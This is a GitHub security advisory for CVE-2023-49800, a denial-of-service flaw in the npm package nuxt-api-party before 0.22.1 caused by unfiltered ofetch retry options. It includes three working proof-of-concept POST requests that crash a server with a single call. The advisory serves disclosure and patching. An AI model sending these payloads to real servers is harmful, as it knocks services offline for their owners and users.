GitHub Advisoryadvisory · npm

GHSA-q6hx-3m4p-749h DOS by abusing `fetchOptions.retry`.

HIGH Published 2023-12-11 Modified 2023-12-11 Official page ↗
Aliases
CVE-2023-49800
Ecosystem
npm
Packages
nuxt-api-party
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400, CWE-787
Reviewed
2023-12-11

Affected packages

• npm nuxt-api-party: < 0.22.1 → fixed in 0.22.1

Description

Summary `nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. `ofetch` is used to send the requests. The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow. Details `fetchOptions` are obtained directly from the request body. These are then passed directly into `ofetch` . We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. PoC POC using Node. ```js await fetch("http://localhost:3000/api/__api_party/MyEndpoint", { method: "POST", body: JSON.stringify({ path: "x:x", retry: 9999999 }), headers: { "Content-Type": "application/json" } }) ``` We can use `__proto__` as a substitute for the endpoint if it is not known. ```js await fetch("http://localhost:3000/api/__api_party/__proto__", { method: "POST", body: JSON.stringify({ path: "x:x", retry: 9999999 }), headers: { "Content-Type": "application/json" } }) ``` We can build the size of the stack faster by using more complicated URIs ```js await fetch("http://localhost:3000/api/__api_party/__proto__", { method: "POST", body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }), headers: { "Content-Type": "application/json" } }) ``` Impact Full DOS, server is unusable during attack. Requires a single request. Fix Limit which options can be passed to `ofetch`.

Related

Alias · CVE (1)

  • CVE-2023-49800 `nuxt-api-party` is an open source module to proxy API requests. vulnerability

Weakness · CWE (2)

  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-787 Out-of-bounds Write weakness

References